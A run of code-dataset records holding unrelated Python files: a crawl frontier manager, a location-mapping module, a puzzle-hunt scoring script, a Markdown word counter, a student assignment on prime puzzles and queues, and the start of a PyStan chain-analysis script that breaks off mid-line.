issubclass(self._page_model, Page), \"Page model '%s' must subclass Page\" % \\\n self._page_model.__name__\n\n # Load link model\n self._link_model = load_object(link_model)\n assert issubclass(self._link_model, Link), \"Page model '%s' must subclass Link\" % \\\n self._link_model.__name__\n\n # Load middlewares\n self._frontier_middlewares = self._load_middlewares(frontier_middlewares)\n\n # Load backend\n self.logger.manager.debug(\"Loading backend '%s'\" % backend)\n self._backend = self._load_object(backend)\n assert isinstance(self.backend, Backend), \"backend '%s' must subclass Backend\" % \\\n self.backend.__class__.__name__\n\n # Init frontier components pipeline\n self._components_pipeline = [\n ('Middleware', self.frontier_middlewares),\n ('Backend', self.backend),\n ]\n\n # Page counters\n self._max_pages = max_pages\n self._max_next_pages = max_next_pages\n self._n_pages = 0\n\n # Iteration counter\n self._iteration = 0\n\n # Manager finished flag\n self._finished = False\n\n # Load Event log manager\n self.logger.manager.debug(\"Loading event log manager '%s'\" % event_log_manager)\n self._event_log_manager = self._load_object(event_log_manager)\n\n # Log frontier manager start\n self.logger.manager.debug('Frontier Manager Started!')\n self.logger.manager.debug('-'*80)\n\n # start/stop\n self._started = False\n self._stopped = False\n self._auto_start = auto_start\n if self.auto_start:\n self.start()\n\n\n @classmethod\n def from_settings(cls, settings=None):\n manager_settings = Settings(settings)\n return FrontierManager(page_model=manager_settings.PAGE_MODEL,\n link_model=manager_settings.LINK_MODEL,\n backend=manager_settings.BACKEND,\n logger=manager_settings.LOGGER,\n event_log_manager=manager_settings.EVENT_LOG_MANAGER,\n frontier_middlewares=manager_settings.MIDDLEWARES,\n test_mode=manager_settings.TEST_MODE,\n max_pages=manager_settings.MAX_PAGES,\n max_next_pages=manager_settings.MAX_NEXT_PAGES,\n auto_start=manager_settings.AUTO_START,\n settings=manager_settings)\n @property\n def settings(self):\n return self._settings\n\n @property\n def logger(self):\n return self._logger\n\n @property\n def test_mode(self):\n return self._test_mode\n\n @property\n def page_model(self):\n return self._page_model\n\n @property\n def link_model(self):\n return self._link_model\n\n @property\n def frontier_middlewares(self):\n return self._frontier_middlewares\n\n @property\n def backend(self):\n return self._backend\n\n @property\n def auto_start(self):\n return self._auto_start\n\n @property\n def event_log_manager(self):\n return self._event_log_manager\n\n @property\n def iteration(self):\n return self._iteration\n\n @property\n def max_pages(self):\n return self._max_pages\n\n @property\n def max_next_pages(self):\n return self._max_next_pages\n\n @property\n def n_pages(self):\n return self._n_pages\n\n def start(self):\n assert not self._started, 'Frontier already started!'\n self.event_log_manager.frontier_start()\n self.logger.manager.debug(self._msg('START'))\n self._process_components(method_name='frontier_start')\n self._started = True\n\n def stop(self):\n self._check_startstop()\n self.logger.manager.debug(self._msg('STOP'))\n self._process_components(method_name='frontier_stop')\n self._stopped = True\n self.event_log_manager.frontier_stop()\n\n def add_seeds(self, urls):\n self._check_startstop()\n links = [self._link_model(url=url) for url in urls]\n self.event_log_manager.add_seeds(links)\n self.logger.manager.debug(self._msg('ADD_SEEDS urls_length=%s' % len(urls)))\n return self._process_components(method_name='add_seeds',\n obj=links,\n return_classes=(list,))\n\n def page_crawled(self, page, links=None):\n self._check_startstop()\n self.logger.manager.debug(self._msg('PAGE_CRAWLED url=%s status=%s links=%s'\n % (page.url, page.status, len(links) if links else 0)))\n processed_page = self._process_components(method_name='page_crawled',\n obj=page,\n return_classes=Page,\n links=[self._link_model(url=url) for url in links] if links else [])\n self.event_log_manager.page_crawled(processed_page, links)\n return processed_page\n\n def page_crawled_error(self, page, error):\n self._check_startstop()\n self.logger.manager.debug(self._msg('PAGE_CRAWLED_ERROR url=%s' % page.url))\n processed_page = self._process_components(method_name='page_crawled_error',\n obj=page,\n return_classes=Page,\n error=error)\n self.event_log_manager.page_crawled_error(processed_page, error)\n return processed_page\n\n def get_next_pages(self, max_next_pages=0):\n self._check_startstop()\n\n # End condition check\n if self.max_pages and self.n_pages >= self.max_pages:\n self.logger.manager.warning(self._msg('MAX PAGES REACHED! (%s/%s)' % (self.n_pages, self.max_pages)))\n self._finished = True\n return []\n\n # Calculate number of pages to request\n max_next_pages = max_next_pages or self.max_next_pages\n if self.max_pages:\n if not max_next_pages:\n max_next_pages = self.max_pages - self.n_pages\n else:\n if self.n_pages+max_next_pages > self.max_pages:\n max_next_pages = self.max_pages - self.n_pages\n\n # log (in)\n self.logger.manager.debug(self._msg('GET_NEXT_PAGES(in) max_next_pages=%s n_pages=%s/%s' %\n (max_next_pages, self.n_pages, self.max_pages or '-')))\n\n # Request next pages\n next_pages = self.backend.get_next_pages(max_next_pages)\n\n # Increment page counter\n self._n_pages += len(next_pages)\n\n # Increment Iteration and log event\n if next_pages:\n self._iteration += 1\n self.event_log_manager.get_next_pages(max_next_pages, next_pages)\n\n # log (out)\n self.logger.manager.debug(self._msg('GET_NEXT_PAGES(out) returned_pages=%s n_pages=%s/%s' %\n (len(next_pages), self.n_pages, self.max_pages or '-')))\n\n # Return next pages\n return next_pages\n\n def get_page(self, url):\n self._check_startstop()\n self.logger.manager.debug(self._msg('GET_PAGE url=%s' % url))\n return self._process_components(method_name='get_page',\n obj=self._link_model(url=url),\n return_classes=Page)\n\n def _msg(self, msg):\n return '(%s) %s' % (self.iteration, msg)\n\n def _load_object(self, obj_class_name, silent=False):\n obj_class = load_object(obj_class_name)\n try:\n return self._load_frontier_object(obj_class)\n except NotConfigured:\n if not silent:\n raise NotConfigured\n\n def _load_frontier_object(self, obj_class):\n if hasattr(obj_class, 'from_manager'):\n return obj_class.from_manager(self)\n else:\n return obj_class()\n\n def _load_middlewares(self, middleware_names):\n # TO-DO: Use dict for middleware ordering\n mws = []\n for mw_name in middleware_names or []:\n self.logger.manager.debug(\"Loading middleware '%s'\" % mw_name)\n mw = self._load_object(mw_name, silent=True)\n assert isinstance(mw, Middleware), \"middleware '%s' must subclass Middleware\" % \\\n mw.__class__.__name__\n if mw:\n mws.append(mw)\n return mws\n\n def _process_components(self, method_name, obj=None, return_classes=None, **kwargs):\n return_obj = obj\n for component_category, component in self._components_pipeline:\n components = component if isinstance(component, list) else [component]\n for component in components:\n return_obj = self._process_component(component=component, method_name=method_name,\n component_category=component_category, obj=return_obj,\n return_classes=return_classes,\n **kwargs)\n if obj and not return_obj:\n self.logger.manager.warning(\"Object '%s' filtered in '%s' by '%s'\" % (\n obj.__class__.__name__, method_name, component.__class__.__name__\n ))\n return\n return return_obj\n\n def _process_component(self, component, method_name, component_category, obj, return_classes, **kwargs):\n debug_msg = \"processing '%s' '%s.%s' %s\" % (method_name, component_category, component.__class__.__name__, obj)\n self.logger.debugging.debug(debug_msg)\n return_obj = getattr(component, method_name)(*([obj] if obj else []), **kwargs)\n assert return_obj is None or isinstance(return_obj, return_classes), \\\n \"%s '%s.%s' must return None or %s, Got '%s'\" % \\\n (component_category, obj.__class__.__name__, method_name,\n ' or '.join(c.__name__ for c in return_classes)\n if isinstance(return_classes, tuple) else\n return_classes.__name__,\n return_obj.__class__.__name__)\n return return_obj\n\n def _check_startstop(self):\n assert self._started, \"Frontier not started!\"\n assert not self._stopped, \"Call to stopped frontier!\"\n\n def _log_event(self, event, params=None):\n event_params = OrderedDict()\n event_params['job_id'] = self.job_id\n event_params['iteration'] = self.iteration\n if params:\n event_params.update(params)\n self.logger.events.event(event=event, params=event_params)\n","sub_path":"crawlfrontier/core/manager.py","file_name":"manager.py","file_ext":"py","file_size_in_byte":12324,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"569677222","text":"from shock_prep.utils import trees, dataframe_utils as df_utils\n\n\ndef _get_highest_priority_locations(df, use_osm=True):\n if not use_osm and df['map_type'].nunique() > 1:\n df = df.loc[df['map_type'] != \"open_street_maps\", :]\n\n best_map_type = df['map_type'].min()\n best_idxs = df['map_type'] == best_map_type\n best_locs = df.loc[best_idxs, 'location_id']\n if best_map_type == \"collaborator\" or best_map_type == \"manual\":\n return set(best_locs)\n\n kept = set(best_locs)\n for _, group in df.groupby('map_type', sort=True):\n # optimization\n if group.empty:\n continue\n new_locs = trees.filter_locs_for_ancestors_present(group.location_id, kept)\n kept = trees.keep_only_detailed_locs(kept | new_locs)\n return kept\n\n\ndef _locations_are_most_detailed(df, within):\n return (\n df\n .groupby(within, as_index=False)\n .agg({'location_id': lambda l: trees.keep_only_detailed_locs(set(l))})\n .pipe(df_utils.unnest, 'location_id')\n )\n\n\ndef _detailed_locations_within_map_type(d, use_col='source_col'):\n return _locations_are_most_detailed(d, within=['source_event_id', use_col, 'map_type'])\n\n\ndef _non_duplicated_over_map_types(d, use_col='source_col'):\n return (d\n .sort_values('map_type')\n .drop_duplicates(['source_event_id', use_col, 'location_id'],\n keep='first'))\n\n\ndef _has_multiple_unique_locations(d, use_col='source_col'):\n return (d\n .groupby(['source_event_id', use_col],\n as_index=False)\n .agg({'location_id': 'count'})\n .query('location_id > 1')\n .loc[:, ['source_event_id', use_col]]\n )\n\n\ndef _highest_priority_locations(df, use_osm=True, use_col='source_col'):\n\n if df.empty:\n return df[['source_event_id', use_col, 'location_id']]\n return (\n df\n .groupby(['source_event_id', use_col])\n .apply(lambda g: _get_highest_priority_locations(g, use_osm))\n .to_frame(name='location_id')\n .reset_index()\n .pipe(df_utils.unnest, 'location_id')\n )\n\n\ndef apply_mapping_hierarchy(df):\n out = df_utils.cascade(\n df,\n dict(property_map=_detailed_locations_within_map_type,\n keep_label='detailed_locations_within_map_type',\n add_keep_label=True),\n dict(property_map=_non_duplicated_over_map_types,\n keep_label='non_duplicated_over_map_types',\n add_keep_label=True),\n dict(property_map=_has_multiple_unique_locations,\n keep_label='has_multiple_unique_locations',\n add_keep_label=True),\n dict(property_map=_highest_priority_locations,\n keep_label='highest_priority_locations',\n add_keep_label=True),\n )\n\n return out.assign(\n map_type_hierarchy_kept=lambda d:\n d['detailed_locations_within_map_type'].fillna(False) &\n d['non_duplicated_over_map_types'].fillna(False) &\n (\n ~d['has_multiple_unique_locations'].fillna(False) |\n d['highest_priority_locations'].fillna(False)\n )\n )\n","sub_path":"gbd_2019/cod_code/fataldiscontinuities/location_mapping/apply_map_hierarchy.py","file_name":"apply_map_hierarchy.py","file_ext":"py","file_size_in_byte":3163,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"147615094","text":"#!/usr/bin/env python3\n\n\"\"\"Parse the hunt events CSV from the hunt website to see who won by various metrics\n\nADV = team advanced to that level\nREQ = team requested a hint\n\nEdit the values of the constants at the top of this file for your purposes, e.g.\nSTART_TIME, TEAM_NAMES, etc.\n\"\"\"\nimport csv\nfrom collections import defaultdict\nfrom datetime import datetime, timezone\nfrom pathlib import Path\nfrom typing import TypeAlias\n\n# Start time\nSTART_TIME = datetime.strptime(\"2000-01-01 00:00:00+0000\", \"%Y-%m-%d %H:%M:%S%z\")\n# 2.0 hours per hint\n# N.B. assumes all hints _requested_ take a penalty,\n# script will need editing if you want to only account for hints _used_\nPENALTY_PER_HINT_IN_HOURS = 2.0\n# \"Final\" level, the advance to which encodes that the team finished\nFINAL_LEVEL = \"51\"\n# List of team names as strings\nTEAM_NAMES: list[\"TeamName\"] = []\n# Path to hunt event csv taken from the website\nCSV_FILE_PATH = r\"C:\\Users\\username\\Downloads\\hunt.huntevent.csv\"\n\nTeamName: TypeAlias = str\n\n\ndef parse_timestamp(timestamp: str) -> datetime:\n return datetime.strptime(timestamp, \"%Y-%m-%d %H:%M:%S\").replace(\n tzinfo=timezone.utc\n )\n\n\ndef main(csv_file: str) -> None:\n teams = TEAM_NAMES\n team_raw_times: dict[TeamName, float] = defaultdict(float)\n team_running_totals: dict[TeamName, float] = defaultdict(float)\n team_hints_requested: dict[TeamName, int] = defaultdict(int)\n team_levels: dict[TeamName, int] = defaultdict(int)\n\n with Path(csv_file).open(encoding=\"utf-8\") as f:\n csv_reader = csv.DictReader(f)\n\n for line in csv_reader:\n team = line[\"user\"]\n assert team in teams\n # penalty of x hours per hint\n if line[\"type\"] == \"REQ\":\n team_running_totals[team] += PENALTY_PER_HINT_IN_HOURS\n team_hints_requested[team] += 1\n elif line[\"type\"] == \"ADV\":\n team_levels[team] += 1\n # Final level\n if line[\"level\"] == FINAL_LEVEL:\n timestamp = line[\"time\"].split(\".\")[0]\n finish_time = parse_timestamp(timestamp)\n time_taken = (finish_time - START_TIME).total_seconds() / 60 / 60\n print(time_taken)\n team_running_totals[team] += time_taken\n team_raw_times[team] = time_taken\n\n print(\"Raw times\", team_raw_times)\n print(\"Running totals\", team_running_totals)\n print(\"Hints requested\", team_hints_requested)\n print(\"Team levels completed\", team_levels)\n\n\nif __name__ == \"__main__\":\n main(CSV_FILE_PATH)\n","sub_path":"admin_scripts/calculate_winners.py","file_name":"calculate_winners.py","file_ext":"py","file_size_in_byte":2609,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"178945910","text":"\"\"\"This Python script counts words in a Markdown / LaTeX document(s).\n\nUsage:\n\tpython3 count_words.py \n\nIt will ignore ATX headers, LaTeX & Markdown comments, and LaTeX markup tags.\n\nTODO: inline HTML, Markdown images & tables\nTODO: LaTeX comments\n\"\"\"\n\n\ndef get_filename() -> str:\n\t\"\"\"\n\tGet the filename from the command line.\n\n\tReturns:\n\t\tthe first positional argument (the filename)\n\n\t\"\"\"\n\tfrom sys import argv\n\ttry:\n\t\t# try to get the filename\n\t\tfilename = argv[1]\n\texcept IndexError:\n\t\t# pass the exception along to the next level\n\t\traise ValueError('no filename position argument!')\n\treturn filename\n\n\ntry:\n\t# get the filename from the command line\n\tfilename = get_filename()\nexcept ValueError:\n\t# print the usage information and exit\n\tprint(__doc__)\n\tfrom sys import exit\n\texit(1)\n\n\n# specific Markdown files to ignore like READMEs and build artifacts\nIGNORED_MD_FILENAMES = ['README.md', 'build.md']\n\n# specific extensions to recognized as Markdown\nMARKDOWN_EXTENSIONS = ['.md', 'markdown', '.tex']\n\n\ndef is_md(filename: str) -> bool:\n\t\"\"\"\n\tReturn a boolean determining if the filename is a markdown file.\n\n\tArgs:\n\t filename: the filename to validate\n\n\tReturns:\n\t\ttrue if the filename is a markdown file, false otherwise\n\n\t\"\"\"\n # iterate over the ignored filenames to ensure the file is valid\n\tfor ignored_file_name in IGNORED_MD_FILENAMES:\n\t\tif filename == ignored_file_name:\n\t\t\treturn False\n # iterate over the extensions in the accepted extensions\n\tfor markdown_extension in MARKDOWN_EXTENSIONS:\n\t\tif markdown_extension == filename[-len(markdown_extension):]:\n\t\t\treturn True\n\t# the filename doesn't have a valid extension, return False\n\treturn False\n\n\ndef markdown_filenames(directory: str) -> list:\n\t\"\"\"\n\tReturn a list of the filenames in the input directory.\n\n\tArgs:\n\t\tdirectory: the input directory\n\n\tReturns:\n\t\ta list of the markdown files in the input directory.\n\n\t\"\"\"\n\tfrom os import listdir\n\ttry:\n\t\t# return a sorted list of the files in the given directory if they\n\t\t# are legal markdown files\n\t\treturn sorted([file for file in listdir(directory) if is_md(file)])\n\texcept FileNotFoundError:\n\t\t# catch a file not found error if the directory doesn't exist\n\t\tprint('{} does not exist!'.format(directory))\n\t\texit(1)\n\n\n# the sentinel value for LaTeX comment lines\nLATEX_COMMENT = '%'\n\n# the sentinel value for Markdown header lines\nMARKDOWN_HEADER = '#'\n\n\ndef clean_line(line: str) -> str:\n\t\"\"\"\n\tClean a single line and return it.\n\n\tArgs:\n\t\tline: the line of Markdown / LaTeX to clean\n\n\tReturns:\n\t\ta cleaned line of text\n\n\t\"\"\"\n\tif LATEX_COMMENT in line[:1] or MARKDOWN_HEADER in line[:1]:\n\t\t# ignore LaTeX comment lines and Markdown header lines\n\t\treturn ''\n\t# strip the line of all whitespace and new lines and append a single space\n\treturn line.rstrip() + ' '\n\n\n# A regular expression for removing Markdown comments\nMARKDOWN_COMMENT_REGEX = r''\n\n# a regular expression for removing LaTeX markup the group in () is the\n# optional [] parameters following a markup call.\nLATEX_MARKUP_REGEX = r'\\\\.+?{.+?}(\\[.+?\\])?'\n\n\ndef clean_contents(contents: str) -> str:\n\t\"\"\"\n\tClean and return the contents of a LaTeX / Markdown file.\n\n\tArgs:\n\t\tcontents: the contents of the file to clean\n\n\tReturns:\n\t\ta file with all markup nonsense removed\n\n\t\"\"\"\n\tclean_contents = contents\n\tfrom re import sub\n\t# remove the markdown comments from the text\n\tclean_contents = sub(MARKDOWN_COMMENT_REGEX, '', clean_contents)\n\t# remove the LaTeX markup\n\tclean_contents = sub(LATEX_MARKUP_REGEX, '', clean_contents)\n\t# return the clean text\n\treturn clean_contents\n\n\ndef read_file(filename: str) -> str:\n\t\"\"\"\n\tRead the contents of a single file.\n\n\tArgs:\n\t\tfilename: the name of the file to read\n\n\tReturns:\n\t\tthe string contents of the file\n\n\t\"\"\"\n\tif not is_md(filename):\n\t\traise ValueError('filename must have a valid markdown extension')\n\t# initialize the contents to store from the file\n\tcontents = ''\n\t# open the file into the contents one line at a time\n\twith open(filename) as md_file:\n\t\t# iterate over each line in the file and write it to the output\n\t\tfor line in md_file:\n\t\t\tcontents += clean_line(line)\n\treturn clean_contents(contents)\n\n\ndef read_dir(directory: str) -> str:\n\t\"\"\"\n\tRead the contents of every Markdown / LaTeX file in a directory.\n\n\tArgs:\n\t\tdirectory: the name of the directory to read files from\n\n\tReturns:\n\t\tthe concatenated contents of the files in the directory\n\n\t\"\"\"\n\t# initialize the contents to store from the files\n\tcontents = ''\n\t# iterate over the files and collect their contents\n\tfor filename in markdown_filenames(directory):\n\t\tcontents += read_file('{}/{}'.format(directory, filename))\n\treturn contents\n\n\ndef read_contents(filename: str) -> str:\n\t\"\"\"\n\tRead the contents of a file or directory.\n\n\tArgs:\n\t\tfilename: the filename or directory to read\n\n\tReturns:\n\t\tthe concatenated text from the file(s)\n\n\t\"\"\"\n\tfrom os.path import isdir\n\tif isdir(filename):\n\t\treturn read_dir(filename)\n\telse:\n\t\treturn read_file(filename)\n\n\ndef words(contents: str) -> int:\n\t\"\"\"\n\tReturn the number of words in a file's contents.\n\n\tArgs:\n\t\tcontents: the text to count the words in\n\n\tReturns:\n\t\tthe number of words in the contents\n\n\t\"\"\"\n\tfrom re import findall\n\treturn findall(r'\\w+', contents)\n\n\n# read the contents of the file\ncontents = read_contents(filename)\n# split the contents into words\nwords = words(contents)\n# count the words in the list\nword_count = len(words)\n# print the word count to the console\nprint('{} words in {}'.format(word_count, filename))\n","sub_path":"Backup-grid-cost-forecasting/paper/src/python/count_words.py","file_name":"count_words.py","file_ext":"py","file_size_in_byte":5503,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"250111911","text":"#Name: Muhammad Shoaib\n#Reg: L1f16bscs0162\n#Subject: PBD\n#Section: C\n#Assignment: 1\n\n\n\n\n\n\n#!/usr/bin/env python\n# coding: utf-8\n\n# In[ ]:\n\n\n# Question: 1\nimport math\n\ndef rotation(n):\n rotations = list()\n for i in range( len( str(n) ) ):\n m = int( str(n)[i:] + str(n)[:i] )\n rotations.append(m)\n return rotations\n\ndef primeCheck(num):\n # If given number is greater than 1 \n if num > 1:\n for i in range(2, num):\n if (num % i) == 0:\n return False\n break\n return True\n else:\n return False\n\n\ndef checkManyPrime(List):\n allDone = False\n length = len(List)\n for x in range(length):\n check = primeCheck(List[x])\n if check == True:\n allDone = True\n else:\n return False\n return True\n\nList = list()\n\nfor i in range(0, 10000):\n List.append(i+1)\n\nAllPrimeList = list()\nList2Count = 0\nfor x in range(0, 10000):\n check = primeCheck(List[x])\n if check == True:\n AllPrimeList.append(List[x])\n\n\ncircular_prime = list()\ncircular_prime_check = int(0)\nfor x in range(0, 100000):\n rotaion_list = rotation(x)\n check = checkManyPrime(rotaion_list)\n if check == True:\n circular_prime.append(x)\n circular_prime_check += 1\n\nprint(\"there are \",circular_prime_check,\" circular primes\")\nprint(circular_prime) \n\n\n# In[ ]:\n\n\ndef SieveOfEratosthenes(n): \n \n # Create a boolean array \"prime[0..n]\" and initialize \n # all entries it as true. A value in prime[i] will \n # finally be false if i is Not a prime, else true. \n prime = [True for i in range(n+1)] \n p = 2\n while (p * p <= n): \n \n # If prime[p] is not changed, then it is a prime \n if (prime[p] == True): \n \n # Update all multiples of p \n for i in range(p * p, n+1, p): \n prime[i] = False\n p += 1\n \n # Print all prime numbers\n count = int(0)\n List_prime = list()\n for p in range(2, n+1): \n if prime[p]:\n List_prime.append(p)\n return List_prime\n \ndef rotation(n):\n rotations = list()\n for i in range( len( str(n) ) ):\n m = int( str(n)[i:] + str(n)[:i] )\n rotations.append(m)\n return rotations\n\ndef primeCheck(num):\n # If given number is greater than 1 \n if num > 1:\n for i in range(2, num):\n if (num % i) == 0:\n return False\n break\n return True\n else:\n return False\n \ndef checkManyPrime(List):\n allDone = False\n length = len(List)\n for x in range(length):\n check = primeCheck(List[x])\n if check == True:\n allDone = True\n else:\n return False\n return True \n \n\n \n \nn = 1000000\nprint(\"Following are the prime numbers smaller\",) \nprint(\"than or equal to\", n)\nList_of_prime = SieveOfEratosthenes(n)\nprint(List_of_prime)\n\nlength_Prime = len(List_of_prime)\ncircular_prime = list()\ncircular_prime_check = int(0)\nfor x in range(length_Prime):\n rotaion_list = rotation(List_of_prime[x])\n print(rotaion_list)\n check = checkManyPrime(rotaion_list)\n if check == True:\n circular_prime.append(List_of_prime[x])\n circular_prime_check += 1\n \nprint(\"there are \",circular_prime_check,\" circular primes\")\nprint(circular_prime)\n\nlength_of_cir_prime = len(circular_prime)\nprint(\"the lenght is: \",length_of_cir_prime)\n\n\n# In[ ]:\n\n\n# Question 2\n\n\n# In[ ]:\n\n\ndef sieve(n):\n is_prime = [True]*n\n is_prime[0] = False\n is_prime[1] = False\n is_prime[2] = True\n for i in range(3, int(n**0.5+1), 2):\n index = i*2\n while index < n:\n is_prime[index] = False\n index = index+i\n prime = [2]\n for i in range(3, n, 2):\n if is_prime[i]:\n prime.append(i)\n return prime\n\nprimes = sieve(1000000)\n\n\nlength = 0\n\n\nlargest = 0\n\n\nlastj = len(primes)\n\nfor i in range(len(primes)):\n for j in range(i+length, lastj):\n sol = sum(primes[i:j])\n if sol < 1000000:\n if sol in primes:\n length = j-i\n largest = sol\n else:\n lastj = j+1\n break\n\nprint(largest)\n\n\n# In[4]:\n\n\n# Question 3\n\n\n# In[5]:\n\n\nrm_prime = list()\n\ndef sieve(n):\n is_prime = [True]*n\n is_prime[0] = False\n is_prime[1] = False\n is_prime[2] = True\n # even numbers except 2 have been eliminated\n for i in range(3, int(n**0.5+1), 2):\n index = i*2\n while index < n:\n is_prime[index] = False\n index = index+i\n prime = [2]\n for i in range(3, n, 2):\n if is_prime[i]:\n prime.append(i)\n return prime\n\ndef leftCheck(num):\n length = len(str(abs(num)))\n length2 = length -1\n power = 10**length2\n flag = True\n num2 = num\n for x in range(length2):\n if num2 in rm_prime:\n flag = True\n print(\"true\")\n else: \n flag = False\n \n num2 = num2 % power\n power = power / 10\n print(num2, \",\", power)\n return flag\n \n \n\nPrime_number = sieve(1000000)\n\nrm_prime = Prime_number[4:]\n\nrm_prime_len = len(rm_prime)\n\nprint(leftCheck(23))\n\n# for prime in rm_prime:\n# flag = True\n# leftCheck(prime)\n \n \n# leftCheck()\n# print(rm_prime)\n\n\n# In[6]:\n\n\n# Question 4\n\n\n# In[11]:\n\n\ndef is_lychrel(n):\n \n for i in range(50):\n number = n + int(str(n)[::-1])\n if str(number) == str(number)[::-1]:\n return False\n n = number\n return True\n\ncounter = 0\n\nfor i in range(10001):\n if is_lychrel(i):\n counter += 1\n\nprint(counter)\n\n\n# In[12]:\n\n\n# Question 5\n\n\n# In[13]:\n\n\nclass CircularQueue(): \n \n def __init__(self, size): \n self.size = size \n \n self.queue = [None for i in range(size)] \n self.front = self.rear = -1\n \n def enqueue(self, data): \n \n if ((self.rear + 1) % self.size == self.front): \n print(\" Queue is Full\\n\") \n \n elif (self.front == -1): \n self.front = 0\n self.rear = 0\n self.queue[self.rear] = data \n else: \n \n self.rear = (self.rear + 1) % self.size \n self.queue[self.rear] = data \n \n def dequeue(self): \n if (self.front == -1): \n print (\"Queue is Empty\\n\") \n \n elif (self.front == self.rear): \n temp=self.queue[self.front] \n self.front = -1\n self.rear = -1\n return temp \n else: \n temp = self.queue[self.front] \n self.front = (self.front + 1) % self.size \n return temp \n \n def display(self): \n \n if(self.front == -1): \n print (\"Queue is Empty\") \n \n elif (self.rear >= self.front): \n print(\"Elements in the circular queue are:\", \n end = \" \") \n for i in range(self.front, self.rear + 1): \n print(self.queue[i], end = \" \") \n print () \n \n else: \n print (\"Elements in Circular Queue are:\", \n end = \" \") \n for i in range(self.front, self.size): \n print(self.queue[i], end = \" \") \n for i in range(0, self.rear + 1): \n print(self.queue[i], end = \" \") \n print () \n \n if ((self.rear + 1) % self.size == self.front): \n print(\"Queue is Full\") \n \n# Driver Code \nob = CircularQueue(5) \nob.enqueue(14) \nob.enqueue(22) \nob.enqueue(13) \nob.enqueue(-6) \nob.display() \nprint (\"Deleted value = \", ob.dequeue()) \nprint (\"Deleted value = \", ob.dequeue()) \nob.display() \nob.enqueue(9) \nob.enqueue(20) \nob.enqueue(5) \nob.display() \n\n\n# In[14]:\n\n\n# Question 6\n\n\n# In[15]:\n\n\nfrom queue import Queue \n \nclass Stack: \n \n def __init__(self): \n \n self.q1 = Queue() \n self.q2 = Queue() \n \n self.curr_size = 0\n \n def push(self, x): \n self.curr_size += 1\n \n self.q2.put(x) \n \n \n while (not self.q1.empty()): \n self.q2.put(self.q1.queue[0]) \n self.q1.get() \n \n self.q = self.q1 \n self.q1 = self.q2 \n self.q2 = self.q \n \n def pop(self): \n \n if (self.q1.empty()): \n return\n self.q1.get() \n self.curr_size -= 1\n \n def top(self): \n if (self.q1.empty()): \n return -1\n return self.q1.queue[0] \n \n def size(self): \n return self.curr_size \n \n# Driver Code \nif __name__ == '__main__': \n s = Stack() \n s.push(1) \n s.push(2) \n s.push(3) \n \n print(\"current size: \", s.size()) \n print(s.top()) \n s.pop() \n print(s.top()) \n s.pop() \n print(s.top()) \n \n print(\"current size: \", s.size()) \n\n\n# In[ ]:\n\n\n\n\n","sub_path":"Assignment 1.py","file_name":"Assignment 1.py","file_ext":"py","file_size_in_byte":8917,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"27536502","text":"#analyze the chains from narrow and wide priored harmonic model. plot histograms and chains\n\nimport pystan, os,pickle,sys,numpy\nfrom pystan import *\nimport matplotlib.pyplot as plt\nfrom glob import glob\nfrom os.path import *\nfrom numpy import *\nimport pandas as pd\nfrom scipy.io import loadmat\nfrom scipy.stats import norm\nfrom ipdb import set_trace\n\ndef findSubjects(path):\n return [x.split(os.sep)[-1] for x in glob(join(path,'sub*'))]\n\ndef analPlot(sub,phase,model):\n '''\n analPlot is of course short for analyse and plot\n What else?\n '''\n print('ANALyzing {}'.format(sub)) \n #load fit, extract chains, rearrange for easier plotting\n path = join(sub,'phase{:02d}'.format(phase),'quadruplet','fit_long_warmup{}.pic'.format(model))\n try:\n fit = pickle.load(open(path,'rb'))\n except:\n fit = pickle.load(open(path.replace('.pic',''),'rb'))\n \n chains = fit.extract(['konstante','allWeights','sigma'])\n chains = {x: expand_dims(chains[x],axis = len(chains[x].shape)) for x in chains.keys()}\n chains = concatenate([chains['sigma'],chains['konstante'],*[chains['allWeights'][:,:,x] for x in range(chains['allWeights'].shape[-1]) ] ],axis = 1)\n chainNames = ['sigma','konstante',*['cosWeight{}'.format(x) for x in range(3)],*['sinWeight{}'.format(x) for x in range(3)]]\n chains = pd.DataFrame(chains,columns = chainNames)\n \n #figure\n# fig,ax = plt.subplots(nrows=len(chainNames),ncols=2,sharex=False,sharey=False,figsize=(15,20))\n# for x,name in enumerate(chainNames):\n# ax[x,0].hist(chains.loc[:,name],bins = 30)\n# ax[x,0].set_title(name)\n# ax[x,1].plot(chains.loc[:,name])\n# ax[x,0].set_title(name,fontdict = {'fontsize':20})\n# ax[x,0].tick_params(axis='both', which='both', labelsize=15)\n# ax[x,1].tick_params(axis='both', which='both', labelsize=15)\n# for y in range(2): \n# for tick in ax[x,y].get_xticklabels():\n# tick.set_visible(True)\n# plt.subplots_adjust(hspace=0.6)\n# fig.savefig(join(sub,'phase{:02d}'.format(phase),'quadruplet','plotChain_longWarmup_{}.png'.format(model)))\n plt.close() \n #get mode based solution and pickle it\n solution = getSolution(fit,style='mean')\n with open(join(sub,'phase{:02d}'.format(phase),'quadruplet','meanSolution_longWarmup_{}.pic'.format(model)),'wb') as f:\n pickle.dump(solution,f,-1)\n #load stimlist and responses for likelihood computation\n matDat = loadmat(join(sub,'phase{:02d}'.format(phase),'quadruplet','data.mat'))['out'][0][0]\n negLL = computeNegLL(solution,matDat)\n with open(join(sub,'phase{:02d}'.format(phase),'quadruplet','negLL_bayes_longWarmup_{}_mean.pic'.format(model)),'wb') as f:\n pickle.dump(negLL,f,-1)\n return fit\n\ndef getSolution(fit, style = 'mode'):\n solution = {'radii': None, 'sigma': None}\n if style == 'mode':\n chains = fit.extract(['sigma','radii'])\n for param in solution.keys():\n solution[param] = mode(chains[param])[0]\n elif style == 'mean':\n f = fit.summary()\n fit = pd.DataFrame(f['summary'],columns = f['summary_colnames'], index = f['summary_rownames'])\n solution['radii'] = fit.loc[fit.index.str.contains('radii'),'mean']\n solution['sigma'] = fit.loc['sigma','mean']\n else:\n print('No valid measure of central tendency. Try again with \"mean\" or \"mode\"')\n return\n return solution\n\ndef computeNegLL(solution,mat):\n radii = solution['radii']\n sigma = solution['sigma']\n #set_trace()\n angles = array(range(radii.size)) / 4 * pi\n #get stimlst and responses\n stimlist = mat[0]-1\n responses = mat[1].squeeze()\n #radii and angles as per stimlist\n trRadii = radii[stimlist]\n trAngles = 